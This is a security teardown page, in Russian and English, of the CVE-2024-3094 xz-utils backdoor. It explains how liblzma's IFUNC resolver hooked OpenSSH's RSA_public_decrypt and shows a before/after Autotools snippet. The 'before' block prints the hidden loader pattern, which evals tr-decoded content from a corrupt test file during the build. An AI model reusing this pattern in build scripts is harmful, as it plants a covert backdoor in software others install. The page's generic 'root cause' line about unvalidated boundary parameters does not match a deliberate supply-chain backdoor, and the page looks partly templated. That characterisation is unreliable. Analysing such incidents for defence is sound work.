flawopen.com/Teardowns/cve-2024-3094-xz-utils-backdoor
Технический разбор исходного кода CVE-2024-3094: как вредоносные модификации резолвера IFUNC в liblzma нарушили аутентификацию OpenSSH.
Представьте, что банк строит хранилище с использованием стандартных водопроводных труб. Официальные чертежи чисты. Но рабочий на заводе при упаковке ящиков незаметно протягивает внутри трубы тонкий провод. Когда трубу монтируют в Linux, провод подключается к замку главной двери банка (OpenSSH), позволяя рабочему открыть хранилище в любой момент секретным пультом. В CVE-2024-3094 бэкдор был спрятан внутри скриптов сборки в релизных архивах, предоставляя скрытый неаутентифицированный root-доступ через SSH.
Open Source SystemsCWE-SecurityDefense-in-DepthОсновная причина заключается в невалидированных граничных параметрах в системах с открытым исходным кодом, что приводит к рассинхронизации состояний и обходу средств безопасности.
Linux distributions linked OpenSSH to libsystemd for startup notification, which linked liblzma for compression.
During process startup, glibc evaluated GNU IFUNC (Indirect Function) resolvers before read-only memory protections were finalized.
The backdoor hooked IFUNC to traverse the dynamic linker symbol tables and overwrite the address of RSA_public_decrypt.
When an SSH client connects with a signature signed by the attacker's Ed448 private key, the hooked function executes arbitrary root commands.
# Backdoored tarball: Extracts hidden binary object from test assets
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])
# Decodes obfuscated binary payload from test files using sed & tr
if test -f "$srcdir/tests/files/bad-3-corrupt_lzma2.xz"; then
eval $(tr " \-_" " _\-" < "$srcdir/tests/files/bad-3-corrupt_lzma2.xz" | head -n 1)
fi
# Replaces liblzma CRC64 resolver to hijack OpenSSH RSA_public_decrypt
# Fixed: Restored standard Gnulib macro; eliminated hidden execution hooks
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])
# Standard clean Autotools build-to-host path resolution
AC_DEFUN([gl_BUILD_TO_HOST],
[
AC_REQUIRE([gl_BUILD_TO_HOST_BINDIR])
])